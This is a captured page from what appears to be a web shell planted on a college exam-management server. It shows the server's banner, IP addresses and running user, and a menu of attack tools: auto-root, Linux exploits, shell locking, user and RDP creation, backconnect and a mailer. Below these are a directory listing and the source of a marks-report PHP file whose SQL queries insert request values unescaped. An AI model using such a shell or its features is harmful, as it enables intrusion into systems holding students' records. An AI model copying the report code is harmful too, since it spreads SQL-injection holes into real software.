Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.40.234
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
college /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
AttDateWiseReportexcel.php
4.33
KB
-rwxr-xr-x
Attdet.php
7.07
KB
-rwxr-xr-x
AttdetPdf.php
8.46
KB
-rwxr-xr-x
AttdetPdfUniclare.php
7.49
KB
-rwxr-xr-x
AttdetexcelUniclare.php
5.48
KB
-rwxr-xr-x
CIEAttendanceNotEligiblepdf.ph...
6.83
KB
-rwxr-xr-x
CIEpendingListpdf.php
9.05
KB
-rwxr-xr-x
DegreeWiseStudLstUSN.php
7.69
KB
-rwxr-xr-x
DownloadExamAppFormApplication...
11.64
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.49
KB
-rwxr-xr-x
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
12.51
KB
-rwxr-xr-x
RvRtApplicationReport.php
8.82
KB
-rwxr-xr-x
absentAndMalReportPdf.php
11.5
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
11.76
KB
-rwxr-xr-x
admReport.php
7.78
KB
-rwxr-xr-x
admReport_old.php
12.3
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxr-xr-x
admregisterlist.php
7.15
KB
-rwxr-xr-x
affliation_detailed_report.php
12.56
KB
-rwxr-xr-x
appear_list_center_qp_wise.php
12.82
KB
-rwxr-xr-x
appear_list_qp_wise.php
6.32
KB
-rwxr-xr-x
appfeedetails.php
7.67
KB
-rwxr-xr-x
approval_report.php
19.63
KB
-rwxr-xr-x
attCisshortList.php
15.57
KB
-rwxr-xr-x
attCisshortList_sjbit.php
12.03
KB
-rwxr-xr-x
attendanceReportForm.php
5.69
KB
-rwxr-xr-x
attendanceform_pdf.php
11.9
KB
-rwxr-xr-x
attiacombined.php
9.52
KB
-rwxr-xr-x
attiacombinedReportnewexcel_sj...
12.94
KB
-rwxr-xr-x
attiacombinednew.php
12.31
KB
-rwxr-xr-x
attiacombinednew_sjbit.php
8.49
KB
-rwxr-xr-x
attshortlist.php
10.69
KB
-rwxr-xr-x
basic_data_coll.php
6.74
KB
-rwxr-xr-x
basic_data_sum.php
7.47
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
board.php
3.86
KB
-rwxr-xr-x
bundle_ack.php
12.96
KB
-rwxr-xr-x
candidatelist.php
9.9
KB
-rwxr-xr-x
categorywisereport.php
9.03
KB
-rwxr-xr-x
cntrtagcollstud.php
4.99
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.8
KB
-rwxr-xr-x
college_pending_markslist19032...
6.48
KB
-rwxr-xr-x
convoreport.php
5.56
KB
-rwxr-xr-x
copomarksexternalreportexcel.p...
7.02
KB
-rwxr-xr-x
daterange.php
6.27
KB
-rwxr-xr-x
degreewiseMarksEntryStats.php
8.44
KB
-rwxr-xr-x
empty_report_admission_det.php
8.91
KB
-rwxr-xr-x
exam_attendance_det.php
8.61
KB
-rwxr-xr-x
exam_attendance_summary.php
9.78
KB
-rwxr-xr-x
excelreport.php
27.36
KB
-rwxr-xr-x
generate.php
7.32
KB
-rwxr-xr-x
generateDaliyReportQpNitteExce...
16.13
KB
-rwxr-xr-x
generatePostAdmissionTicket.ph...
51.8
KB
-rwxr-xr-x
generatePostAdmissionTicket_25...
47.13
KB
-rwxr-xr-x
generatePostAdmissionTicket_ol...
37.45
KB
-rwxr-xr-x
generatePrintIaMarks.php
16.19
KB
-rwxr-xr-x
generatePrintIaMarksnew.php
16.28
KB
-rwxr-xr-x
generateQuestionWiseIAReportPD...
18.73
KB
-rwxr-xr-x
generateXlGraph.php
3.87
KB
-rwxr-xr-x
generateadmissionreg.php
11.79
KB
-rwxr-xr-x
generatecoporeport_xl.php
21.04
KB
-rwxr-xr-x
gerderwiseresultsheet.php
11.95
KB
-rwxr-xr-x
getDegree.php
2.27
KB
-rwxr-xr-x
getDegreeAndSem.php
4.32
KB
-rwxr-xr-x
getIaSubjWiseReport.php
0
B
-rwxr-xr-x
getNitteAdmXlreport.php
14.34
KB
-rwxr-xr-x
getReportClassStud.php
6.03
KB
-rwxr-xr-x
gradewisesubjectanalysisreport...
19.82
KB
-rwxr-xr-x
headerNfooter.php
5.56
KB
-rwxr-xr-x
headerNfooters.php
1.93
KB
-rw-rw-r--
iaMarksQnWiseReportExcel.php
25.41
KB
-rwxr-xr-x
iaMarksReportPDF.php
10.84
KB
-rwxr-xr-x
iaSubjectWiseReport.php
10.74
KB
-rwxr-xr-x
ia_room_allotment_datewise.php
9.08
KB
-rwxr-xr-x
iaemptyformat.php
9.63
KB
-rwxr-xr-x
invig_report.php
10.18
KB
-rwxr-xr-x
invig_report_summary.php
7.74
KB
-rwxr-xr-x
latEntryRprt.php
6.4
KB
-rwxr-xr-x
markListReportPdf.php
21.32
KB
-rwxr-xr-x
markListReportPdfnew.php
44.55
KB
-rwxr-xr-x
markListReportPdfnew_24112023....
42.93
KB
-rwxr-xr-x
marksentryquestionwise.php
23.83
KB
-rwxr-xr-x
mregistry.php
129.68
KB
-rwxr-xr-x
pdfacknowledgeAppNo.php
10.95
KB
-rwxr-xr-x
pendingcie.php
0
B
-rwxr-xr-x
photo_report.php
7.04
KB
-rwxr-xr-x
pi_test.php
3.45
KB
-rwxr-xr-x
picharttesting.php
19.9
KB
-rwxr-xr-x
principalFreeze_report.php
7.23
KB
-rwxr-xr-x
printIaMarks.php
12.74
KB
-rwxr-xr-x
printIaMarks_old.php
12.74
KB
-rwxr-xr-x
printMarkListDetailsWisenew.ph...
10.1
KB
-rwxr-xr-x
printMarkListDetailsWisenew_CI...
3.98
KB
-rwxr-xr-x
printMarkListDetailsWisenew_sj...
11.81
KB
-rwxr-xr-x
printMarkListSubWiseJssstu.php
28.29
KB
-rwxr-xr-x
print_applications_ru.php
26.59
KB
-rwxr-xr-x
qp_issue.php
8.46
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
55.13
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
33.16
KB
-rwxr-xr-x
qrhallticket.php
56.1
KB
-rwxr-xr-x
r
9.23
KB
-rwxr-xr-x
regNoAllot.php
25.14
KB
-rwxr-xr-x
reg_stud_list.php
8.34
KB
-rwxr-xr-x
reportAttClassCreate.php
5.14
KB
-rwxr-xr-x
reportAttCount.php
12.89
KB
-rwxr-xr-x
reportAttCount_old_08112022.ph...
11.11
KB
-rwxr-xr-x
report_adm_lat_studwise.php
10.13
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
49.63
KB
-rwxr-xr-x
report_admission_list_bf_gcg.p...
26.39
KB
-rwxr-xr-x
report_admission_list_kswu.php
15.12
KB
-rwxr-xr-x
report_admission_list_rur.php
28
KB
-rwxr-xr-x
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_ticket.php
64.74
KB
-rwxr-xr-x
report_admission_ticket_bf_uuc...
37.63
KB
-rwxr-xr-x
report_attendance_sheet.php
18.31
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rwxr-xr-x
report_attendance_summary.php
10.85
KB
-rwxr-xr-x
report_attendance_summary_old....
7.19
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.35
KB
-rwxr-xr-x
report_batch_wise_details.php
8.83
KB
-rwxr-xr-x
report_batch_worksheet_details...
14.68
KB
-rwxr-xr-x
report_bulk_applications.php
26.14
KB
-rwxr-xr-x
report_bulk_applications_nitte...
25.55
KB
-rwxr-xr-x
report_bundle_dispatch.php
13.73
KB
-rwxr-xr-x
report_candidate_list.php
31.49
KB
-rwxr-xr-x
report_candidate_list_old.php
29.91
KB
-rwxr-xr-x
report_daliy_report.php
10.47
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.21
KB
-rwxr-xr-x
report_daliy_report_qp_nitte.p...
17.01
KB
-rwxr-xr-x
report_daliy_report_qp_sjbit.p...
17.25
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
5.3
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
6.55
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
20.78
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.43
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
18.15
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_practical_marks_details...
13.32
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_ra_exl_report.php
6.78
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
43.87
KB
-rwxr-xr-x
report_ra_invigilator_dairy_bf...
22.69
KB
-rwxr-xr-x
report_ra_invigilator_dairy_gu...
19.86
KB
-rwxr-xr-x
report_ra_invigilator_dairy_st...
19.82
KB
-rwxr-xr-x
report_ra_invigilators_dairy.p...
9.26
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
10.63
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.74
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.67
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
26.62
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_reg_list.php
33.33
KB
-rwxr-xr-x
report_reg_list_gcg.php
33.55
KB
-rwxr-xr-x
report_reg_list_gcg_new_040120...
33.12
KB
-rwxr-xr-x
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_subject_admcl_list.php
3.68
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.87
KB
-rwxr-xr-x
resultsheet.php
12.7
KB
-rwxr-xr-x
resultsheet_x.php
9.15
KB
-rwxr-xr-x
resultsheetsubwise.php
11.24
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomallotmantsummary.php
6.57
KB
-rwxr-xr-x
roomallotmantsummarysubjwise.p...
9.31
KB
-rwxr-xr-x
roomwise_register_nos_list.php
26.84
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
semesterWiseResultReportpdf.ph...
9.9
KB
-rwxr-xr-x
shortageReport.php
11.87
KB
-rwxr-xr-x
std_regstr_det_reprt_xl.php
7.6
KB
-rwxr-xr-x
stringspliter.php
718
B
-rwxr-xr-x
stud_wise_report.php
8.97
KB
-rwxr-xr-x
studentHisResult.php
7.92
KB
-rwxr-xr-x
student_count.php
4.16
KB
-rwxr-xr-x
studentwiseresult.php
16.77
KB
-rwxr-xr-x
subjRegReport.php
7.54
KB
-rwxr-xr-x
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
subjwisepasspercentage.php
10.45
KB
-rwxr-xr-x
subjwisepasspercentagePie.php
10.92
KB
-rwxr-xr-x
subjwiseressheet.php
12.79
KB
-rwxr-xr-x
subwiseGrafAnalysis.php
20.04
KB
-rwxr-xr-x
subwiseGrafAnalysis1.php
22.44
KB
-rwxr-xr-x
subwiseResultReport.php
12.75
KB
-rwxr-xr-x
tatkal.php
4.84
KB
-rwxr-xr-x
teachFreeze_report.php
8.96
KB
-rwxr-xr-x
teacher_report.php
11.26
KB
-rwxr-xr-x
teacher_val_report.php
10.59
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.73
KB
-rwxr-xr-x
topsheet.php
8.58
KB
-rwxr-xr-x
verifystud.php
8.38
KB
-rwxr-xr-x
xl_AckAppReport.php
10.02
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_marks_entry_subwise_list.php
<?php function GenerateMarksEntrySubjectWiseReport($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $FUNIVCODE = $_SESSION['FUNIVCODE']; // if($FUNIVCODE=='020'){ // if($_SESSION['usrtype'] == '17'){ // echo "please contact admin"; // return; // } // } $degree_code = $aobj_context->mobj_data["degree_code"]; $exam_code = $aobj_context->mobj_data["exam_code"]; $sublist_start = $aobj_context->mobj_data["subwise_start"]; $sublist_end = $aobj_context->mobj_data["subwise_end"]; $sectionfrom = $aobj_context->mobj_data["sectionfrom"]; $reg_start = $aobj_context->mobj_data["reg_start"]; $reg_end = $aobj_context->mobj_data["reg_end"]; $sectionto = $aobj_context->mobj_data["sectionto"]; $percentage = $aobj_context->mobj_data["percentage"]; $percent = $aobj_context->mobj_data["percent"]; $userid = $_SESSION['user_id']; // var_dump($userid); $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $main_src=$main_src_obj[1]; $pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php"; $root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_general_list.pdf"; $getnumword=$aobj_context->main_src."/src/getnumword.php"; //var_dump(include($getnumword)); include($getnumword); // global varibales $p_count =1; //var_dump(include($pdf_writer_class)); include($pdf_writer_class); $pdf= new FPDF(); $pdf->SetFont('Times','',10); $pdf->SetMargins(28.35,15); $pdf->AliasNbPages(); // query for the page header $page_header_university = "select FUNIVNAME,FTOWN,FUNIVADD1, date_format(now(),'%d/%m/%Y') as date, ifnull(fdegas,'Degree') as fdegas, ifnull(fcollas,'College') as fcollas, ifnull(fsubas,'Subject') as fsubas, ifnull(FREGROLL,'Reg. No.') as FREGROLL from control"; $lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university); $fdegas = $lobj_page_header_university['fdegas']; $fcollas = $lobj_page_header_university['fcollas']; $fsubas = $lobj_page_header_university['fsubas']; $page_header_college ="select concat('[ ',FCOLLCODE,' ] ',FCOLLNAME,', ',FTOWN) as college_name from college where FCOLLCODE='{$college_code}'"; $lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); $page_header_degree = "select concat('[ ',FDEGREE,' ] - ', FDESCPN) as Degree_name, concat(' ', FEXAMNAME ,' Examination ',FEXAMDATE,'') as Exam ,FADYEAR from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_code}' "; $lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree); $page_header_REGROLL = "select FREGROLL, fsnglent,ifnull(FMULTEXAM,'F') as FMULTEXAM from control"; $lobj_page_header_REGROLL = $aobj_context->mobj_db->GetRow($page_header_REGROLL); $pdf->aobj_context =$aobj_context ; //$pdf->WhichReport = 'MARKS_SUBJECTWISE'; $pdf->FUNIVNAME = $lobj_page_header_university['FUNIVNAME']; $pdf->FTOWN = $lobj_page_header_university['FTOWN']; $pdf->FUNIVADD1 = $lobj_page_header_university['FUNIVADD1']; $pdf->date_1 = $lobj_page_header_university['date']; $pdf->college_name = $lobj_page_header_college['college_name']; $pdf->Degree_name = $lobj_page_header_degree['Degree_name']; $pdf->Exam = $lobj_page_header_degree['Exam']; $pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR']; $pdf->REGROLL=$lobj_page_header_REGROLL['FREGROLL']; $fsnglent=$lobj_page_header_REGROLL['fsnglent']; $FMULTEXAM=$lobj_page_header_REGROLL['FMULTEXAM']; $pdf->RFROM=strtoupper(substr($sublist_start,-4)); $pdf->RTO=strtoupper(substr($sublist_end,-4)); $canddettmp = "canddet"; $candsumttmp = "candsum"; $degreetmp = "degree"; $subjecttmp = "subject"; $get_total_absent = "select m.FSUBCODE, sum(case when m.fmarks = -2 then 1 else 0 end) as total_absent from marks m inner join student stu on m.fdegree = stu.fdegree and m.FREGNO = stu.FREGNO inner join {$subjecttmp} s on m.fdegree = s.fdegree and m.fexamno = s.fexamno and m.FSUBCODE = s.FCSUBCODE where m.FDEGREE = '{$degree_code}' and m.FEXAMNO = '{$exam_code}' and m.FSUBCODE between '{$sublist_start}' and '{$sublist_end}' and m.fregno between '{$reg_start}' and '{$reg_end}' and m.FCOLLCODE = '{$college_code}' and IFNULL(stu.FDELETED,'F') <> 'T' group by m.FSUBCODE order by m.FSUBCODE"; $lobj_get_total_absent = $aobj_context->mobj_db->GetAll($get_total_absent); foreach($lobj_get_total_absent as $key => $absentcnt) { $sub_wise_total_absent[$absentcnt['FSUBCODE']]=$absentcnt['total_absent']; } if($FUNIVCODE == '030') { $sectionrage = "and stu.fsection between '{$sectionfrom}' and '{$sectionto}'"; $order = "stu.fsection,"; } else { $sectionrage = "and 1=1"; $order = " "; } $ltable = ''; $sys = "select * from s_sysdb where internal_code = '{$userid}'"; $res = $aobj_context->mobj_db->GetRow($sys); $user_type = $res['user_type']; if($user_type =='40' || $user_type == '14') { $ltable = ''; } else { $ltable = "inner join usersub us on m.fdegree = us.fdegree and instr(us.fsubcode,m.fsubcode) > 0 and m.fcollcode = us.fcollegecode and us.fuser = '{$userid}'"; } if($user_type =='40' || $user_type == '14') { $ltable = ''; } else { if($FUNIVCODE == '052') $ltablesc = "inner join usrsection sc on m.fdegree = sc.fdegree and sc.fsection = stu.fsection and m.fcollcode = sc.fcollcode and sc.fuserid = '{$userid}'"; else $ltablesc = ""; } if($percentage == 'T') { $percentvalue = "and (FMARKS/ifnull(s.FVALMAX,s.FSMAXMARKS)*100 < {$percent})"; }else { $percentvalue = ""; } if($FMULTEXAM != 'T') { if($FUNIVCODE == '050') { $frrez = "if(ifnull(c.ffreezed, '') = 'T' and ifnull(c.ffreezed2, '') = 'T','T','F') as ffreezed"; }else { $frrez = "ifnull(c.ffreezed, '') as ffreezed"; } $get_subject_data = " select m.FREGNO, SUBSTRING(stu.FNAME,1,36) as Name1, SUBSTRING(stu.FNAME,37) as Name2, concat(s.FSUBNAME,', ', FSSUBNAME) as sub_name, if(ifnull(m.FMARKS,-1) >= 0,right(concat('0000',m.FMARKS),4),if(ifnull(m.FMARKS,-1) = -2,'ABSENT','Marks Not Entered')) as Marks, m.FSUBCODE, ifnull(s.FVALMAX,s.FSMAXMARKS) as FSMAXMARKS, {$frrez}, stu.fsection, ifnull(c.ffreezed, '') as teachfreez from marks m inner join student stu on m.fdegree = stu.fdegree and m.FREGNO=stu.FREGNO inner join {$subjecttmp} s on m.fdegree = s.fdegree and m.fexamno = s.fexamno and m.FSUBCODE = s.FCSUBCODE inner join collia c on m.fdegree = c.fdegree and c.fexamno = m.fexamno and c.fcollcode = m.FCOLLCODE and m.fsubcode = c.fsubcode {$ltable} {$ltablesc} where m.FDEGREE = '{$degree_code}' and m.FEXAMNO = '{$exam_code}' {$sectionrage} and m.FSUBCODE between '{$sublist_start}' and '{$sublist_end}' and m.fregno between '{$reg_start}' and '{$reg_end}' and m.FCOLLCODE = '{$college_code}' and c.FCOLLCODE = '{$college_code}' and IFNULL(stu.FDELETED,'F') <> 'T' {$percentvalue} group by {$order}FCSUBCODE, m.FREGNO order by {$order}FCSUBCODE, m.FREGNO"; }else { $get_subject_data = "select m.FREGNO, SUBSTRING(stu.FNAME,1,36) as Name1, SUBSTRING(stu.FNAME,37) as Name2, concat(s.FSUBNAME,', ', FSSUBNAME) as sub_name, if(ifnull(m.FMARKS11,-1)>=0,m.FMARKS11,if(ifnull(m.FMARKS11,-1) =-2,'ABSENT','-')) as marks11, if(ifnull(m.FMARKS21,-1)>=0,m.FMARKS21,if(ifnull(m.FMARKS21,-1) =-2,'ABSENT','-')) as marks21, if(ifnull(m.FMARKS31,-1)>=0,m.FMARKS31,if(ifnull(m.FMARKS31,-1) =-2,'ABSENT','-')) as marks31, m.FSUBCODE, ifnull(s.FVALMAX,s.FSMAXMARKS) as FSMAXMARKS, stu.fsection, ifnull(c.ffreezed, '') as teachfreez from marks m inner join student stu on m.fdegree = stu.fdegree and m.FREGNO=stu.FREGNO inner join {$subjecttmp} s on m.fdegree = s.fdegree and m.fexamno = s.fexamno and m.FSUBCODE = s.FCSUBCODE inner join collia c on m.fdegree = c.fdegree and c.fexamno = m.fexamno and c.fcollcode = m.FCOLLCODE {$ltable} and m.fsubcode = c.fsubcode where m.FDEGREE = '{$degree_code}' and m.FEXAMNO = '{$exam_code}' {$sectionrage} and m.FSUBCODE between '{$sublist_start}' and '{$sublist_end}' and m.fregno between '{$reg_start}' and '{$reg_end}' and m.FCOLLCODE = '{$college_code}' and c.FCOLLCODE = '{$college_code}' and IFNULL(stu.FDELETED,'F') <> 'T' {$percentvalue} group by {$order}FCSUBCODE, m.FREGNO order by {$order}FCSUBCODE, m.FREGNO"; } $lobj_get_subject_data = $aobj_context->mobj_db->GetAll($get_subject_data); $first=true; $sl_no=1; $k2=1; $pdf->SetFont('Times','',10); $oldsub = ""; $oldsection = ""; $newsub = ""; $newsection = ""; $pdf->page_absent_count=0; foreach($lobj_get_subject_data as $key => $value) { $newsub = $value['FSUBCODE']; $newsection = $value['fsection']; $tot_absent = $sub_wise_total_absent[$value['FSUBCODE']]; if($pdf->GetY() > 240) { $new_y=$pdf->GetY(); $first=true; } if($FUNIVCODE == '030' || $FUNIVCODE == '052') $cond = "|| ('{$newsection}' != '{$oldsection}')"; else $cond = true; if(($newsub != $oldsub) && $cond) { $first = true; $sl_no=1; if($oldsub != '' && $oldsection != '') { $pdf->Ln(2); if($FUNIVCODE == '018') { if($pdf->FFREEZE=="F") { $pdf->Cell(1500,3,'Marks Enterd By Marks verified by Marks Authorised by','0',1,'L'); $pdf->Ln(2); $pdf->Cell(1500,3,'Signature Faculty Signature Hod/Principal Signature','0',1,'L'); $pdf->Ln(2); $pdf->Cell(1500,3,'Name Faculty Name Hod/Principal Name','0',1,'L'); $pdf->Ln(2); $pdf->Cell(1500,3,'Date Date Date ','0',1,'L'); } else { $pdf->SetFont('Arial','B',20); $pdf->Cell(1500,3,'DRAFT COPY','0',1,'L'); $pdf->SetFont('Times','',10); } } else { //$pdf->Cell(50,3,"Date : {$pdf->date_1}",'0',1,'L'); $pdf->Ln(2); $pdf->Cell(50,3,'Entered by','0',0,'L'); $pdf->Cell(110,3,'Signature of the Teaching Faculty','0',1,'R'); $pdf->Ln(2); if($FUNIVCODE == '038') $pdf->Cell(50,3,'Signature of the Dean','0',0,'L'); else $pdf->Cell(50,3,'Signature of the HOD','0',0,'L'); if($FUNIVCODE == '038') $pdf->Cell(110,3,'Signature of the Chairman','0',1,'R'); else if($FUNIVCODE == '050') $pdf->Cell(110,3,'Signature of the Dean','0',1,'R'); else $pdf->Cell(110,3,'Signature of the Principal','0',1,'R'); } } } $oldsub = $newsub; $oldsection = $newsection; if($FMULTEXAM != 'T') { if($first) { if($k2 != 1) { $pdf->Ln(4); $pdf->SetFont('Times','B',10); $pdf->Cell(50,7,"Note : ** Marks not entered will be treated as Absent for results processing",'0',1,'L'); $pdf->SetFont('Times','',10); $pdf->Cell(50,3,"Date : {$pdf->date_1}",'0',1,'L'); $pdf->Ln(8); $pdf->Cell(50,3,'Entered by','0',0,'L'); $pdf->Cell(110,3,'Signature of the Teaching Faculty','0',1,'R'); $pdf->Ln(6); /* $pdf->Cell(50,3,'Signature of the HOD','0',0,'L'); $pdf->Cell(110,3,'Signature of the Principal','0',1,'R'); */ if($FUNIVCODE == '038') $pdf->Cell(50,3,'Signature of the Dean','0',0,'L'); else $pdf->Cell(50,3,'Signature of the HOD','0',0,'L'); if($FUNIVCODE == '038') $pdf->Cell(110,3,'Signature of the Chairman','0',1,'R'); else if($FUNIVCODE == '050') $pdf->Cell(110,3,'Signature of the Dean','0',1,'R'); else $pdf->Cell(110,3,'Signature of the Principal','0',1,'R'); $pdf->SetY(-20); $pdf->SetFont('Arial','',7); $pdf->page_absent_count=0; $pdf->Ln(5); $pdf->Cell(0,3,'Absent on this page : '.$pdf->page_absent_count.' Total Absent : '.$tot_absent,'0',0,'L'); $pdf->Cell(0,3,'IP Address : '.$_SERVER['REMOTE_ADDR'].", Date ".$pdf->date_1,'0',1,'R'); } $pdf->SetMargins(25,10); $pdf->AddPage(); $pdf->Rect(5,05,200,288); $pdf->SetMargins(25,10); $pdf->SetFont('Times','B',10); if($percentage == 'T') $text = "(Percentage less than {$percent})"; else $text = ''; $pdf->Cell(0,6," Subjectwise I.A. Marks List {$text}",0,1,'C'); $pdf->Ln(1); $pdf->SetFont('Times','',11); $pdf->Cell(0,4,$fdegas.' : '.$pdf->Degree_name,0,1,'C'); $pdf->Ln(1); $pdf->Cell(0,4,$pdf->Exam,0,1,'C'); $pdf->Cell(0,6,$fsubas.' : '.$value['FSUBCODE'].' - '.$value['sub_name'].', Max. Marks: '.$value['FSMAXMARKS'],0,1,'C'); $pdf->SetFont('Times','',11); if($value['ffreezed'] == 'T') { $pdf->Cell(0,5,' Status : FREEZED (READY TO SEND TO UNIVERSITY)',0,1,'C'); $pdf->FFREEZE = "F"; } else { if($value['teachfreez'] == 'T') { $pdf->Cell(0,5,' Status : FREEZING PENDING (TO BE SENT TO UNIVERSITY AFTER PRINCIPAL FREEZING)',0,1,'C'); $pdf->FFREEZE = "P"; }else { $pdf->Cell(0,5,' Status : FREEZING PENDING (TO BE SENT TO UNIVERSITY AFTER TEACHER AND PRINCIPAL FREEZING)',0,1,'C'); $pdf->FFREEZE = "P"; } } $pdf->SetFont('Times','B',9); if($FUNIVCODE == '030' || $FUNIVCODE == '052') { $pdf->SetFont('Times','B',10); $pdf->Cell(0,6,' Section : '.$value['fsection'] ,0,1,'L'); $pdf->SetFont('Times','B',9); } $pdf->Ln(2); $pdf->Cell(10,6,'Sl.No.','1',0,'C'); $pdf->Cell(32,6,$pdf->REGROLL,'1',0,'C'); $pdf->Cell(70,6,'Name','1',0,'C'); if($fsnglent == 'T') $pdf->Cell(20,6,'Marks','1',0,'C'); else { $pdf->Cell(20,6,'Marks 1','1',0,'C'); $pdf->Cell(20,6,'Marks 2','1',0,'C'); } $pdf->Cell(40,6,'Remarks ','1',1,'C'); $first=false; } $pdf->SetFont('Times','',9); $pdf->Cell(10,6,$sl_no,'LBR',0,'C'); $pdf->Cell(32,6,$value['FREGNO'],'LBR',0,'L'); $pdf->Cell(70,6,$value['Name1'],'LBR',0,'L'); if($value['Marks']=='ABSENT') { $pdf->page_absent_count++; $pdf->Cell(20,6,'-','LBR',0,'C'); $pdf->Cell(40,6,$value['Marks'],'LBR',1,'L'); } else if($value['Marks']=='Marks Not Entered') { $pdf->Cell(20,6,'-','LBR',0,'C'); $pdf->SetFont('Times','B',9); $pdf->Cell(40,6,$value['Marks'].'**','LBR',1,'L'); $pdf->SetFont('Times','',9); } else { $marksw = getNumber(floatval($value['Marks'])); // if($value['FREGNO'] == 'MUC19314') // var_dump(strtolower($marksw),' - ',"only"); if(trim(strtolower($marksw)) == 'only') { $marksw = "Zero Only"; //var_dump($marksw); } $pdf->Cell(20,6,$value['Marks'],'LBR',0,'C'); $pdf->Cell(40,6,$marksw,'LBR',1,'L'); } if($value['Name2'] != '') { $pdf->Cell(10,6,' ','LRB',0,'C'); $pdf->Cell(32,6,' ','LRB',0,'L'); $pdf->Cell(70,6,$value['Name2'],'LBR',0,'L'); $pdf->Cell(20,6,' ','LRB',0,'L'); $pdf->Cell(40,6,' ','LRB',1,'L'); } } else { if($first) { if($k2 != 1) { $pdf->Ln(4); $pdf->SetFont('Times','B',10); // $pdf->Cell(50,7,"Note : ** Marks not entered will be treated as Absent for results processing",'0',1,'L'); $pdf->SetFont('Times','',10); $pdf->Cell(50,3,"Date : {$pdf->date_1}",'0',1,'L'); $pdf->Ln(8); $pdf->Cell(50,3,'Entered by','0',0,'L'); $pdf->Cell(110,3,'Signature of the Teaching Faculty','0',1,'R'); $pdf->Ln(6); /* $pdf->Cell(50,3,'Signature of the HOD','0',0,'L'); $pdf->Cell(110,3,'Signature of the Principal','0',1,'R'); */ if($FUNIVCODE == '038') $pdf->Cell(50,3,'Signature of the Dean','0',0,'L'); else $pdf->Cell(50,3,'Signature of the HOD','0',0,'L'); if($FUNIVCODE == '038') $pdf->Cell(110,3,'Signature of the Chairman','0',1,'R'); else $pdf->Cell(110,3,'Signature of the Principal','0',1,'R'); $pdf->SetY(-20); $pdf->SetFont('Arial','',7); $pdf->page_absent_count=0; $pdf->Ln(5); $pdf->Cell(0,3,'Absent on this page : '.$pdf->page_absent_count.' Total Absent : '.$tot_absent,'0',0,'L'); $pdf->Cell(0,3,'IP Address : '.$_SERVER['REMOTE_ADDR'].", Date ".$pdf->date_1,'0',1,'R'); } $pdf->AddPage(); $pdf->Rect(5,05,200,288); $pdf->SetMargins(28.35,10); $pdf->SetFont('Times','B',10); if($percentage == 'T') $text = "(Percentage less than {$percent})"; else $text = ''; $pdf->Cell(0,6," Subjectwise I.A. Marks List {$text}",0,1,'C'); $pdf->Ln(1); $pdf->SetFont('Times','',11); $pdf->Cell(0,4,$fdegas.' : '.$pdf->Degree_name,0,1,'C'); 